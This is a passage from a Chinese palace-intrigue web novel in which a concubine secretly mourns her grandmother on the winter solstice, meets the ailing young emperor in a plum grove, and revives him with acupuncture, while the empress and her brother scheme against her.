放着顶级勋贵之家的公子不选,为何偏挑一个并无实权的文官之子?
但她不敢反驳,只顺着说:“这些公子,个个品貌不凡,清俊知礼,只是一时也难决定……终归还得问问妹妹自己的意思,改日召他们进宫,两下见见再定,陛下觉得可好?”
“皇后思虑周全,”端木清羽点了点头,将手中一直拿着的锦盒递了过去去,“这对如意喜字玉佩,便赐予令妹,算是朕的一点心意。”
皇帝走时,似笑非笑盯了蔺景瑞一眼,带着楚念辞扬长而去。
他走后,坤宁宫里一片寂静。
蔺皇后脸色沉了下来,方才陛下临走前那一眼,她看得清清楚楚,那分明是对景瑞动了不满。
她本想对弟弟叮嘱教训一番,谁知蔺景瑞竟抢先跪安,急急退了出去。
不用想也知道,定是追着圣驾,哪怕
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远远望一眼楚念辞的背影也好。
蔺皇后气得心口发闷,只觉得胸闷毛病一下子又犯。
她连连咳嗽着。
指甲**肉里,攥着的帕子都快扯烂了。
大宫女夏冬忙扶着她服了药躺下。
皇后这两日确实染了些风寒,为了此事更是头疼。
“娘娘莫要为国舅爷动气,”夏冬轻声劝道,“他至情至性,一时情难自禁。”
“情难自禁?”蔺皇后声音发冷,“我告诫过他多少次?管好眼睛,闭紧嘴巴,那是陛下的人,再情不自禁也得给我忍住,他可听进去半句?一见楚念辞,魂都没了,眼神都冒绿光了,恨不得黏在人家身上,陛下都盯了他好几回,他自己竟浑然不觉,这是自己找死,还要拉上全家陪葬不成?”
她越说越气,胸口微微起伏。
夏冬忙替她顺气,低声道:“国舅爷用情太深,只怕反成了祸根。”
沉默片刻,夏冬试探着问:“那……娘娘打算如何处置那位?可要奴婢寻个稳妥的法子,一了百了?”
蔺皇后缓了口气,摇了摇头,神色恢复了往日的深沉:“她如今住在养心殿,轻易动不得,区一个常在,本也翻不起大浪,只是,也不能任她这般牵着我那糊涂弟弟的鼻子走。”
她略一沉吟,缓缓道:“冬至快到了,我听说,楚念辞自幼养在外祖家,与已故的太姥姥感情极深,既如此,咱们便‘好心’些,让人悄悄给她送些纸钱过去,尽尽哀思……不怕她不动心思。”
夏冬立刻明白了主子的用意。
这是要引楚念辞在宫中私祭。
若她真在冬至那日烧纸祭奠,便是犯了宫规,到时或逐出养心殿,或贬入冷宫,都名正言顺。
她眼底闪过一抹冷光,低声应道:“奴婢明白,娘娘放心,此事一定办得妥当。”
蔺皇后倦倦地摆了摆手,面色已恢复平静:“今日乏了,都退下吧。”
过了几日,便是冬至。
阖宫上下忙着祭祀的事。
端木清羽几日未诏楚念辞侍茶,她倒也乐得清闲。
晚膳后,又下了一天的雪停了。
楚念辞靠在薰笼上,素手执着一杯酒赏着窗外的雪景。
满宝拎着一包纸钱进来,恰团圆端了一盘饺子进来,笑呵呵地说:“小主,外面的雪停了,月也正圆,陛下带了各宫娘,在太后处放焰口,煞是壮观,”
放焰口是各宫扎了纸人纸马,祭奠亡灵。
“是吗?”楚念辞悠然,又看了看满宝手里的纸钱,“哪儿来的?”
“下午养心殿的一位公公送过来,估计陛下是给小主,偷偷祭奠用的,咱们关起门来,谁也不知道。”
可以她地位分,去不了太后宫里。
楚念辞道:“娘亲今天也会烧纸钱给姥姥……”
她起身,拿了纸钱、香炉和檀香,道:“梅坞的玉蝶开了,便去那日祭奠。"
满宝忙道:“宫里不允许烧纸钱,大家都去太后宫里祭奠,梅坞更是禁地,小主可不能去。”
禁地,便是没人去了呢。
雪夜明月,踏雪寻梅,又可寄托对亡者哀思,一举两得。
楚念辞站起身披一件大红羽缎斗篷,兜上风帽边走边说:“这时合宫全在太后处,我去去就回,不会引人注目。”
第53章 焚香求三愿
“小主不可!”团圆急得脸都发白,眼看就要跪下了。
满宝也慌得连抽了自己两个耳光,顺势滑跪在楚念辞跟前:“小主,外面天黑路滑难行,您喝了酒,又是热身子,怎么能扑进雪地里去?再说自从白庶人事后,皇后、淑妃娘娘早下过严旨,谁都不准进那园子,要是被人发现,那可就是大祸啊!”
楚念辞皱了皱眉。
今晚她是一定要去的。
不为别的,往年今天,母亲都会带着她在家中烧纸钱给姥姥,一来愿她在天上安息,二来为家人祈福,如今远隔千里,不能团聚,这份思乡之情,更加浓郁了。
她低眉道:“你们也太小心,这会儿嫔妃们都在太后那儿侍宴,太监宫女早躲懒去了,戍卫更不会到后边来,园子里没人看见的。”
她转身从架子上扯下一件黑貂斗篷换上,“这样,我披上这个,又暖和,雪地里也不显眼,今天这香我必须去,给外婆安魂,替母亲祈福,谁也不许阻拦。”
见满宝还跪坐着不肯让,楚念辞一个爆栗轻轻敲在他脑门上,笑道:“再拦我,明儿就把你送回四执库去。”
满宝一愣神的工夫,楚念辞拎着香烛袋子,已经三步并两步从他旁边绕过去了。
刚出殿门,团圆就急匆匆追上来,伸手接了香烛袋子,又把个小手炉塞进她怀里,嘟囔道:“都怪奴婢多嘴……奴婢不敢硬拦,可您得带我,奴婢给您掌灯照路,您要是不答应,奴婢……奴婢只好去找李大伴了。”
李大伴就是中常侍李德安,皇上不在的时候,通常都是他在殿里守着。
楚念辞笑起来:“哟,如今学会拿捏我了?真是把你惯得没规矩了。”
话虽这么说,她还是,捏了捏团圆粉嘟嘟的脸蛋。
团圆也笑了:“奴婢哪敢拿捏主子,还不是为了您的周全。”
说着提起一盏防风宫灯。
那灯亮堂堂的,风吹雪打都不怕。
楚念辞点点头:“好丫头,平时没白疼你。”
两人一路迤逦,悄悄往前走,只是她俩没注意,刚刚一出殿门,有一个黑影就悄悄地跟得她们。
好在宫道和巷子雪已经扫干净。
只是偏僻处,还是有些地面结了冰,走起来有点滑,两人小心前行。
夜已深,各宫嫔妃都聚在太后那儿赴宴,宫女太监们也多半躲在屋里取暖,巡夜的羽林卫也不到这儿了,路上几乎看不到人。
去梅坞的路她们是熟悉的,一路上无惊无险。
夜风吹得紧,寒气一阵阵往身上扑,幸好两人都穿着厚实的毛皮斗篷,倒也扛得住。
大约走了两炷香的工夫,一股淡淡的梅花香飘了过来……梅坞到了。
走进梅园,那股清香骤然浓郁起来,愈靠近便愈是沁人心脾。
园中积雪无人清扫,雪才刚停不久,踩上去还没冻实。
四下静极了,只有她们两人的脚步声,羊皮绣花暖靴踏在雪上,发出细微的“咯吱”声。
月光清清冷冷地照着,园中没有朱砂红梅,只有玉蝶和宫粉两个品种。
那花开得恣意,浅淡的颜色在月光下像是碎金,又像满树停满了玉色的蝴蝶,颤巍巍的,仿佛下一刻就要振翅飞走。
花瓣与枝头的积雪交融在一起,分不清是花上落了雪,还是雪中绽了花。
真应了那句:梅须逊雪三分白,雪却输梅一段香。
楚念辞不由自主往前走了两步。
清洌的梅香裹着她,人也似更添了几分冰洁。
这片冰雪琉璃世界,有种纯粹的、近乎庄严的美。
她早选好一张石桌,将随身带的香炉与檀香摆上。
团圆为她点了香,楚念辞便撩开斗篷,不顾满地冰雪,径直跪了下去,团圆在旁边烧起了纸钱。
她合上眼,心中默念:
一愿:姥姥在天之灵,得以安息。
二愿:母亲与舅父一家平安康健。
三愿:新年步步向上,活得恣意快活。
她对着苍天诚心祷告:姥姥若在天有灵,便保佑我吧。
我不贪心。
不求什么真心实意,只图荣华富贵,不盼什么一心之人,只愿及时行乐。
这宫里的富贵,总要去争才能获得。
既来了,我便不怕
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卷入是非,获得陛下的宠爱,攀上了人人仰慕的至高之位。
只要最终能站在高处,看该看的风光,享该享的尊荣……便有明枪暗箭,也都值得。
雪落无声,香雾袅袅。
她睁开眼,目光穿过梅枝,望向远处暗沉沉的翘角飞檐。
那里面,有她想要的一切,紧紧地攥起拳头。
香燃到一半,忽然一阵疾风卷过,枝头积雪扑簌簌往下掉。
几乎同时,楚念辞听见身后传来极轻的脚步声……
她浑身一紧,团圆也死死抓住了她的衣袖。
远处梅树后响起一道清洌的男声:“谁在那儿?”
这园子里还有别人!
楚念辞心猛地一沉。
她是偷溜进来的,若被撞见,传到皇后、淑妃耳朵里……她几乎能想到皇后阴沉的目光与淑妃的骄横跋扈的脸。
“嘘……”她一把吹灭烛火,抱起香炉,团圆慌忙踢散地上没有烧尽的纸钱。
两人闪到最近的老梅树后。
脚步声停了片刻。
那声音又试探着问了一句:“谁啊?”
四周只有风吹雪落的细响,无人应答。
楚念辞后背发凉,团圆的手在她腕间微微发抖。
星光稀薄,雪地泛着幽白的光,交错的花枝影子像无数鬼爪,密密匝匝地铺在地上。
两人屏住呼吸,一点点挪动脚步,生怕踩重了雪发出声响。
可那脚步声却越来越近。
透过梅枝缝隙,她看见一双宝蓝色绣蛟龙的靴子停在几步之外,不动了。
接着,一角雪白衣袍在梅影间,倏地闪过。
楚念辞忽然怔住……这身影……怎么有点眼熟?
像陛下。
可陛下怎么会深夜独自来这偏僻园子?
是她看错了吧。
她揉了揉眼睛,心跳却越来越快。
怕是真的,又怕是假的。
怕被发现,又忍不住想知道究竟是谁。
那股压不住的好奇终于占了上风。
她咬了咬唇,对团圆做了个“等着”的手势,自己却提起裙摆,借着梅树的遮挡,悄悄跟了上去。
第54章 雪夜的表白
那修长的白色身影一路走到梅坞中央的小亭边,停了下来。
楚念辞揉了揉眼睛……亭中站着的人,身量颀长,面容若仙,衣袂翻飞,无声而华美,不是端木清羽还能谁。
不是端木清羽,还能有谁。
他怎么会在这种雪夜独自跑来?
且身边竟连一个内侍都没带。
风卷得他宽大的斗篷微微鼓动。
他走到檐下,亭边那几株梅花已开到极盛,被狂风一吹,花瓣混着雪片漫天飞舞,有种凄艳决绝的美。
端木清羽却像浑然不觉。
风更猛了,灌进他的长发与衣袂在风里疯狂翻卷,仿佛下一刻就要被吹散似的。
楚念辞躲在树后望着,夜色中那抹身影飘摇欲逝。
她忽然想起民间传言,仙人站在高处迎风而立,乘风而去,此刻她竟有些信了那些神仙传说。
只是看他站在高处,身形里有种说不出的萧索与孤单。
他在阶前静立片刻,在一株老梅树下,抬眸望向远处沉沉夜色。
他然后从袖中取出一支香,一个火折子。
“嚓”一声轻响,香点燃了。
他举香于额前,端正跪下。
“父皇,皇兄,母后……”他的声音很低,被风吹得断断续续,“不孝儿今夜来迟了。”
楚念辞屏住呼吸。
“父皇母妃早登仙界,您见到兄长了吗……只要他在宫中,不论批阅奏折多晚,总会来我看我。”
他顿了顿,风声呼啸而过,“如今,他也去陪您了,你们在那边,可还开心?”
最后几个字,楚念辞觉得他嗓音里似乎带了颤音。
她借着雪光细看,却看不清他脸上是否有泪。
许是她听错了。
又或许这风实在太大,大得能把他眼角湿意瞬间吹干。
不知怎的,楚念辞心里某处轻轻一酸……原来他同自己一样,是来祭奠亲人的。
她想起岚姑姑说过的旧事。
十年前,蛮族吞下燕云十三州,兵锋直指京门,先帝率兵出征,于雁门关与蛮族血战三天三夜,那一仗真是尸横遍野,危急万分,眼看就要全军覆没,先太子端木玄羽带兵赶至,方挽大厦之将倾。
俩人侥幸落下性命,也是那时落下了病根,从此重病缠身,日渐衰落。
而先皇后受到惊吓,在生下幼子端木清羽后便血崩去世,将这襁褓中的孩子托付给了长子。
所以对端木清羽来说,兄长如父。
后端木玄羽因病英年早逝,先帝眼见妻子与长子相继离去,不出半年也跟着去了。
**江山,就这样落在当时不足十四岁的端木清羽肩上。
打江山难,坐江山更难。
历代帝王哪个不是雄才大略、根基深厚?
反观他登基时举目无亲,上有强势太后,下有虎视眈眈的托孤大臣。
怎么看也没有任何胜算,却硬是在三年后稳住了皇位。
风中的身影依旧跪得笔直。
香火明明灭灭,映着他清俊的侧脸。
楚念辞忽然意识到……自己撞见了不该看的秘密。
一个皇帝最深的孤独与脆弱,此刻毫无防备地暴露在雪夜梅林中。
夜静如铁,四下无声。
端木清羽独立庭中,眸色沉暗,唯眼底一点锐光,似漆黑夜幕里钉入的寒星,风卷起他的墨发,暴虐张扬,桀骜而不驯。
这一刻,他凶狠暴虐得像一头狮王。
楚念辞浑身僵硬,却见他手腕倏然一翻,长剑已然出鞘。
“纵使星辰尽灭,天地倾覆,朕也定要富国强兵,收复燕云十三州。”
“若上天肯赐五年阳寿,朕愿以四年换百姓生息,以残躯践强国之誓,报我父兄血仇。”
说完,他随风舞起,剑随身转,衣袂翻飞如夜鹰展翼。
点、刺、劈、扫,每一式皆挟劲风,剑光织成密网,却又在最高处陡然收势。
凝作凛凛一点寒芒。
身影在昏暗中起落分明,剑气削开凝滞的夜色,飒飒有声。
只是,舞了片刻,他便收剑而立,气息微促,仰面望向虚无的夜空,微微咳嗽:“父皇,皇兄……若在天有灵,佑我此愿得偿,他日泉下相见,方不负重托。”
原来他偷偷练习了武功,准备富国强兵,血洗当年之仇,可是他的身体,还真令人担忧,她本该立刻悄悄退走,可脚却像被钉住了,良久,她悄悄地后退,一不小心正好踩中了一根枯枝。
“咔~”的一声脆响。
端木清羽忽然转过头,目光直直投向了她藏身的方向。
长剑直指。
“谁在那儿?”
见他已察觉,楚念辞索性踮脚从梅树后走了出来,故作轻松的万福道:“陛下,是臣妾,您怎么独自来这儿,也不带个人?”
端木清羽看清是她,微微一愣,随即收了剑。
楚念辞迎着纷飞的雪花走近,顺着他的视线望向漆黑宫门,装作刚到的模样:“陛下是在……祭奠什么人吗?”
风把她的话吹得破碎。
楚念辞一颗心已经提到了嗓子眼,端木清羽看见了她手中的残香,便转过头去。
见他没有追究。
她听见咚的一声,那颗心又落回了原地。
就这么陪着他静静地站着。
就在楚念辞以为他不想说话,他声音很轻地飘了过来:“你也在祭奠先人?"
“是,”楚念辞轻声道,“为姥姥焚香,为家人祝祷。"
她还是有点心虚。
说了焚香,没敢说烧纸钱。
宫中是不允许烧纸钱,但是焚香却没有限制,太后和皇后的宫中都有佛堂,经常焚香。
见他不说话,于是楚念辞,又自顾自地道:“我姥姥可宠我了,记得那年也是冬至,也是下了一天的大雪,我当时不懂事,闹着要吃冰糖葫芦,她亲自走的几条街,帮我买来。"
良久,就听端木清羽道:“朕从未见过母妃,父皇也不常伴左右,只有兄长在时,每年都会带我来此祭奠。”
他停顿了一下,才续道,“而今,再没人会为他们单独设祭了,只剩朕一人来这里。”
最后几个字,楚念辞听出一丝微哑。
她侧首看去,雪光映照下,他脸上并无泪痕,只是有点病态的苍白,说着还咳嗽了几声。
她心里莫名一酸,想起前世,自己也曾拥有亲情,在得知母亲去世真相时,猝然失去的痛楚。
那些虚假的安慰话此刻堆在嘴边,竟一句也吐不出来。
这绝佳的亲近之机摆在眼前,要眼睁睁任它溜走,不行,自己一定要想办法把握。
“陛下,”她听见几乎是不假思索,脱口而出,“往事已去,若您不嫌弃臣妾卑微,往后年年臣妾陪着您来此扫雪焚香。”
“你可知,在朕的面前,不可说谎。”端木清羽的目光沉沉压下来,没有半点挪移。
“陛下,”楚念辞迎着他目光,脱口而出,“臣妾并无说谎,只要你不嫌弃,
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臣妾一定永远陪着您。”
“臣妾刚刚还为您祈祷,日为朝,月为暮,臣妾唯愿与您朝朝暮暮。”
一语落下。
四周皆静,唯有树梢上寂寂的风声。
说完这句话的时候,楚念辞心中怦怦直跳。
只觉得自己说得太直白,太肉麻了。
但转念一想,自己心慌什么呀,自己回答得没有丝毫差池,换作宫中的每一个妃嫔,都会这么回答。
一阵疾风卷过,雪沫与梅花瓣扑簌簌落了满身。
他忽然侧过脸,剧烈地咳嗽起来,咳得肩背微颤,楚念辞下意识伸手扶住了他的手臂。
好一会儿,咳嗽才渐渐平息。
“在朕面前,”他气息未匀,声音却冷肃,“有些话,不可轻言许诺。”
楚念辞抬眸,这才发觉他脸色比平日更苍白几分。
那双眼平时如一汪静谧而迷人的星海,此刻凝成了坚冰,幽深而坚硬,无比锐利。
这目光让她心底一颤。
可转念又想,自己并未说谎……她当然在乎他,后半生的荣华富贵,权势地位,可不全指望着他吗?
他能给自己所有梦想的一切。
“陛下,”她仰起脸,眼神清澈而笃定,同时举手起誓,“在臣妾心里唯有您。”
端木清羽静静注视她片刻,终是移开了视线。
风雪声里,他的话音低沉而清晰:“若他日食言,朕必不轻纵。”
这句话落下。
突然他一闪,手中剑柄已经刺出。
就在楚念辞一惊,整个人僵住。
以为他要刺中自己的时候,那剑却一下子刺在了身边梅树的阴影中。
“啊……”一位太监倒在地上。
楚念辞吓得目瞪口呆,随后尖叫一声:“刺客,护驾。”
说完便一步跳到他的身后,死死地抱住了他的腰。
“不是刺客,”端木清羽冷冷道,“应是跟着我们过来,妄图窥伺帝踪,该死。”
楚念辞这才从他的背后探出头来。
这剑正中心脏,那太监死得透透的。
没料到梅林之中怎么还有人。
忽然她脑中闪过一道电光,这人,不是窥伺帝踪。
而是一直是跟着自己过来的?
那么纸钱?
不是端木清羽给的,而是……淑妃或者皇后。
想到这儿,她不由流汗下。
不管是这两个人中的哪一个,如果没有遇见端本清羽,自己的下场可想而知。
端木清羽略一停顿,拔出宝剑在那人身上擦一擦,抬步离去前,才走两步,他的咳嗽骤然加剧,整个人弓起身子,几乎站立不稳。
楚念辞忙将帕子递去,指尖碰到他唇边,竟烫得惊人。
抬头只见他双颊泛着不正常的红潮,眼中蒙着水雾……这是发了高热!
她心下一沉。
若他真在此昏厥,凭她和团圆,哪里拖得动?
“团圆!”她急唤一声,没有动静,都喊了一声,小丫头才抖抖索索地从一棵梅树后转了出来,两人一左一右架住他的胳膊,在雪地里踉跄前行。
楚念辞咬着牙,心里拼命念着:千万撑住,千万别倒……
积雪湿滑,三人步履艰难。
刚穿过甬道拐角,臂弯间的重量陡然一沉。
端木清羽身子软了下去,双眼紧闭,已完全失去了意识。
“陛下……”
楚念辞的声音卡在喉咙里,看着无声无息倒在雪地上的人,她脑中一片空白……
第55章 命运路囗,何去何从?
楚念辞急得耳边嗡嗡作响……陛下若在她身边出事,那便是天塌地陷的大祸!
不但自己性命堪忧,说不定还会连累家里。
她使出吃奶的力气拽了一下,不料端木清羽虽瘦,却还沉甸甸的,根本拖不动,环顾四周,这里虽离养心殿不远,可凭她与团圆两人,哪里搬得动一个昏迷的男子。
只好用斗篷裹住他,抱着他坐在地上,正想着让团圆回去叫人……
甬道尽头忽然亮起一点灯笼光。
她也顾不得许多,连忙朝那方向挥手喊道:“救驾,陛下在这儿……”
脚步声匆匆逼近,楚念辞一颗心几乎跳出嗓子眼。
“找到了!”见到灯笼光闪过一张清秀的脸,是敬喜。
楚念辞终于松了口气,一颗心落回肚子里。
敬喜带着几名内侍疾步赶来。
他一边走,一边急道:“奴才正想陛下是不是去梅坞祭奠先太子,一路找来,幸好常在陪着陛下。”
“我晚膳进多了,去太液池附近散心,没料到正好碰见陛下。”楚念辞没说祭奠的事,人多口杂,以免别人多心。
敬喜见陛下如玉山倒塌,神色不对,大惊失色道:“陛下……怎么了?”
“陛下受寒昏厥。”楚念辞道。
敬喜闻言,回头便抡起拂尘,朝身后一个圆脸精明的太监劈头盖脸抽过去,边打边骂:“作死的奴才,杂家不过去取个手炉,让你跟着陛下,你倒敢溜去偷烧供品,在哪儿作死不好,偏在这冬至祭祀节骨眼上出幺蛾子,若陛下出事,看我不揭了你的皮!”
那太监缩着脖子硬挨几下,哭丧着脸道:“冤枉啊喜哥,陛下要解手,奴才一直守在净房门外,半步没敢离,谁知道一转眼陛下就没影了……”
楚念辞这才明白……原来是陛下先支开了敬喜,又趁着太监不备,自己溜了出来。
难怪他身边竟无人跟着。
“罢了,”楚念辞打断他们,“现在不是互相责怪的时候,赶紧把陛下挪回殿中去,再耽误下去,谁担得起这责任!”
几个太监七手八脚将端木清羽扶起,由一名身材魁梧的内侍主动背起他,匆匆转入养心殿。
楚念辞不放心,带着团圆也跟着去。
到殿口,楚念辞忙将梅坞中那跟踪太监的事儿说了,但是她没敢讲是跟着自己过去,而是用了地下的说法,“窥探帝踪,存心不良。”这个由头,敬喜闻言,不做他想,立刻让几个太监去收拾尸骨。
李德安闻讯赶来,见状脸色一紧,忙上前与众人一同将人扶进内殿,安置在榻上。
湿透的外袍被小心褪去,换上洁净的寝衣,又盖好锦被。
楚念辞拿出帕子浸透了冷茶搭在他额上,又定了定神,见端木清羽一只手垂在床边,便借俯身查看之机,轻轻搭上他的脉。
指下脉象紊乱……
脉象紊乱,有结脉、代脉、促脉、涩脉等。
结脉表现为脉来缓慢且时有中止,止无定数,多提示心气不足、心阳虚衰。
代脉是脉来一止,止有定数,良久方还,常反映心气衰败。
促脉指脉数而时有一止,止无定数,多因痰饮、瘀血阻滞心脉。
涩脉,脉象往来艰涩不畅,如轻刀刮竹,多见于心血瘀阻。
陛下这几种脉象皆有。
是心疾。
她心中一沉。
难怪前世他仅在位五年便骤然离世。
此病凶险,即便自己竭尽医术,也难保他痊愈。
但若用师父所传的金针之术,至少能护住他心脉,不致有性命之危。
至于根治,恐怕唯有请师父药王孙**亲自出手才行,只可惜师父常年云游在外,自己也难得一见,不过这都是后话,如今先保住他的命再说。
敬喜已从内间取来药丸,和水喂下,可过了片刻,端木清羽仍无起色。
“陛下……陛下!”李德安连声轻唤,急得眼眶发红,花白的头发在灯下仿佛更白了。
楚念辞也伸手推了推他,他却毫无反应。
她缓缓收回手,后退两步,望着那张苍白中透着潮红的脸,心绪翻涌。
殿内几个小太监已慌得团团转。
李德安到底是老人,扫了一眼在场众人,浓眉紧锁,低声吩咐:“都去殿外守着,谁也不许走漏半个字……否则立刻杖毙!”
众人诺诺退至门外,团圆也战战兢兢跟了出去。
殿内只留了敬喜与楚念辞。
楚念辞用帕子浸了冷茶,敷在端木清羽滚烫的额上,随即转向李德安:“即刻请太医,李大伴,快传章太医。”
李德安眉头拧成了疙瘩:“章太医今夜不当值,况且宫门早已落钥,此时出宫需太后或皇后手谕。”
“那……能否请皇后娘娘过来?”敬喜小声道。
“不可,无陛下旨意,我等岂能擅自惊动中宫?”李德安微微摇头。
见二人犹豫不决,楚念辞望向榻上昏迷不醒的皇帝,暗暗咬唇。
他自知患有心疾,竟会在雪夜独自溜出,去祭奠母后与兄长。
那般理智持重,算无遗策的人,原来也有这般不顾一切的时候。
他病得太猛,消息一旦传出,太后与皇后只需派禁卫军围住养心殿,不许旁人进出,先瞒住病情,他的生死便完全捏在了她们手里。
酷暑严寒本就是心疾易发作的时候。
一个体弱的少年皇帝因病去世,谁又能挑出什么错呢?
而自己这些养心殿伺候的人,下场可想而知……
皇后旧怨未消,自己在这深宫无依无靠,只怕连冷宫都进不去,便会悄无声息地“消失”。
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逃走吗?
舅父有海船,她或许还能逃往海外,可这样做,别说蔺家不会放过自己,就按国法,舅父一家,父母一家都别想活了。
反之,若她陪他熬过这一关,不离不弃,便能真正赢得他的信任,甚至他的心。
倘若他熬不过……那她便也得寻个痛快,免得落入更不堪的境地。
冷静,在这命运的十字路口,她必须的冷静。
必须冷静地选择站队。
记得前世他至少还有五年寿命。
她就赌这一世依然如此……他绝不会这么早死。
楚念辞闭上眼,深吸一口气。
上前对李德安低声道:“李大伴,陛下的病情拖不得,臣妾略通医术,可用金针先让陛下醒过来,以他的睿智,由他决策比较稳妥。”
她知道养心殿的橱柜中备有金针,虽无对症之药,眼下却只能先让他恢复神志……
唯有他清醒过来,才能决定是召皇后、太后,还是另有安排。
以他的心性,定有决断,相信能周全。
李德安走到榻边细看端木清羽状况,又回身打量楚念辞,眉头微蹙。
他在宫中经营多年,耳目灵通,自然知晓她近来所为……救过淑妃,发现过毒虫……但让她救陛下,李德安真无十足把握。
但是若能让陛下醒过来……
“你可知道?”李德安苍老眸子深深地看着她道,“这句话,代表什么嘛?"
代表什么?
她如何不知呢?
若是她不动针,陛下就算出事,日后清算,也算不到他的头上了。
但若是只要她动了针。
陛下要是出了事,她难辞其咎。
可自己还有选择吗?
无论她做什么,现在自己都已经和他的命运连到了一起。
努力定定神,做了一番心理建设,她对李德安一揖道:“李大伴,我知道自己做什么,我相信自己医术,更相信陛下乃是真龙天子,定会逢凶化吉,请让我一试!”
李德安盯着她看了半晌,看着她的目光变得柔和。
“你真能让陛下醒来?”他压低声音问。
楚念辞声音更轻:“臣妾不敢夸口根治,但让陛下暂醒,尚有把握。”
李德安目光沉了沉,终于点头:“敬喜,去取后殿的金针来。”
敬喜急忙捧来针盒。
楚念辞深吸一口气,取出一根细长的金针,咬唇凝神,往他天池、风府几处穴位缓缓刺入。
她手下极轻极柔,生怕弄疼了他……明明可用更猛的针法激他清醒,却不知怎的,选了这最费神、最温和的手法。
十余息过去,端木清羽长长羽睫如蝶翅一样微颤,缓缓睁开了眼。
三人立刻围拢过去。
他目光恍惚地转了转,半晌才渐渐凝定……
第56章 蔺景瑞请求见楚念辞
端木清羽目光缓缓扫过榻边三人,声音略带嘶哑:“……看来朕命不久矣。”
“陛下,您吉星高照,不会出事的。”敬喜扑上前,声音哽咽地哭着。
端木清羽唇角无力地弯了弯,视线在李德安与敬喜脸上停了停,最终落在楚念辞身上:“是你……背朕回来的?”
“臣妾背不动,是敬喜他们赶到了。”楚念辞轻声答道。
端木清羽微微颔首。
李德安急忙上前:“陛下此刻觉得如何?”
“有些喘不过气……”话未说完,他又咳了起来。
几人连忙退开些许,唯有楚念辞仍跪在榻前没动。
她使劲揉了揉眼,硬是将眼眶揉得通红,还挤出一行清泪来,带着哭腔如乳燕清啼:“陛下,您感觉怎么样?您别吓臣妾,臣妾不能没有您……”
端木清羽似欲笑,却咳出了声,稍歇,几近玉色的额上已覆了一层冷汗。
楚念辞用帕子替他擦拭,边擦边低声道:“陛下,臣妾方才为您行了针,可此处药材不足,臣妾实在无力施为……”
李德安面色凝重,躬身道:“陛下,还是得请章太医,宫门虽已落钥,但若动用金牌,仍可召他入宫。”
端木清羽苍白的唇动了动,虚弱摇头:“不可……动用金牌必会惊动太后与皇后,朕不能让母后烦神,也不想皇后忧心。”
这就是不想惊动这两人。
看来陛下对她们还是不放心。
敬喜急道:“陛下是真龙天子,您下一道手谕,奴才这就闯宫去请人!”
端木清羽又摇了摇头:“内卫禁军是朕的人,尚可通融,可最外层的戍卫皆属太后所辖,朕已病至此,你再狐假虎威得罪人,岂非雪上加霜?”
他喘息片刻,才续道,“朕不想不惊动六宫,让朝野震动……可传内医院使蔺景瑞,他是皇后内弟,有入夜调人之权,或能悄然带章太医进来。”
说到这里,他忽地盯了楚念辞一眼。
那眼神幽深而锐利。
接着他捂着胸口,脸和脖子都白至透明,就像一尊随时会失温的玉雕一般,侧身一阵剧咳,猛地吐出一口血,随即身子一软,再度昏厥过去。
李德安吓得险些晕厥,忙示意楚念辞上前。
她搭脉片刻,低声道:“无妨,这是急火瘀血,吐出来反而好了,眼下最要紧的,是立刻请蔺院使过来,让他暗中带章太医入宫。”
其实刚刚听到蔺景瑞的名字,楚念辞心中微跳。
虽万般不愿与此人再有牵扯,但情势危急,已容不得她再行避嫌。
李德安朝敬喜使了个眼色,敬喜抹了把泪,匆匆离去。
约莫两炷香后,敬喜带着一人急步入殿。
那男子一袭湛青色官袍,锦衣玉带,眉目俊朗,正是蔺景瑞,一个多月未见,他清瘦了许多,眼下泛着淡淡青影,双眉间锁着浓浓的愁云,心事重重的样子。
楚念辞当即别过脸去。
李德安上前道:“蔺院使,请借一步说话。”
蔺景瑞进殿时目光便已落在那道熟悉的纤影上……
她正跪坐在龙榻边,侧影娉婷,眉目娇艳精致,让他无法挪开目光,她却连一眼都未看自己。
听见李德安的话,他喉结微动,终是收回视线,默然跟着走向偏殿。
楚念辞守着如玉山倾颓一般端木清羽出神,也不知隔壁谈得如何。
过了许久,门才“吱呀”一声打开。
李德安走出来,神色有些古怪,低声道:“慧小主,蔺院使有话同您说,您进去吧,老奴在这儿守着陛下。”
刚刚他将今晚的大略说了一下,希望蔺院使帮忙去传章太医。
蔺院使听了,没说帮不帮忙,却提出见见慧选侍这要求。
李德安是知道慧选侍与蔺院使差点拜堂成亲。
而慧选侍现在是陛下的女人,蔺景瑞是外男,按道理说两人不宜再见面。
他提出这个要求,怎么看都不合适,可如今为了陛下,他还是答应了这个要求。
反正就在侧殿,有自己看着,谅他也不会做出什么出格之事。
楚念辞听了李德安的话。
不由微怔……这时候蔺景瑞找她做什么?
但见李德安面色凝重,她也不多问,只理了理裙摆,站了起来。
此时蔺景瑞站在侧殿里,目光沉沉地望着窗格上的海棠木雕……
略显疲惫的俊美脸上,露出一抹阴贽的冷笑。
终于,自己的机会来了。
自己夺回她的机会。
望着摇曳的烛火,他思绪倏忽回到,楚念辞离开后的这段时日。
他活的就是一个笑话。
楚念辞喜堂入宫让他沦为京城的笑柄,贵族世家子弟们当面不说什么,但他知道所有人都在背后笑话他,被陛子夺走未婚妻子。
就连在内医院,他也觉得所有人看自己时,眼睛里都带着讥嘲。
他只能咬碎牙忍下来,装作看不出来。
幸好内医院到了年底就特别忙,晚上回到威瑞轩便倒头便睡,将这一切淡化。
也正因此他也根本没注意到楚舜卿的脸。
后来无意间,听见下人们背地里的闲言碎语。
他才注意到楚舜卿,整天戴着面纱,连行房都不肯摘下,起初他还以为是夫妻间的小情调……
一打听才知,她竟又因误诊白嫔,险些酿成大祸,被淑妃掌嘴,脸肿得厉害,才用面纱遮掩。
那夜他去质问她,她却臭脸相对,冷言相讥……他实在想不明白,当初在南诏那般灵慧,怎会医术拙劣至此?
问多了,楚舜卿便又哭又闹,他实在不耐,便借口侍母疾宿在书房。
楚舜卿便干脆连家事都不管了。
谢氏只好
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强撑着身体,用皇后赏了笔银子,让胡管家全权理事,才勉强周转。
这一劳神,谢氏病势愈发沉重,请了几位江湖郎中,也都治标不治本。
本以为楚舜卿可以消停几天,谁知她消沉了两日,脸未消肿便又振作起来,进宫向皇后哭诉淑妃欺辱,竟说动了皇后让她负责调理凤体、预备嫡嗣。
回来后,便兴冲冲地跑来缠着拉着他道:“景瑞,皇后要重用我了,等我助她怀上嫡子,咱们往后,定能享尽尊荣。”
听了这话,蔺景瑞皱皱眉,不知该不该相信她。
但想到她总比稳婆强些,姐姐以后还要用她,只冷冷地点头。
“景瑞,”楚舜卿盯着他冷峻的脸,忽然挑眉,“你是不是后悔了?”
“后悔什么?”蔺景瑞斜晲她。
“后悔娶了我。”
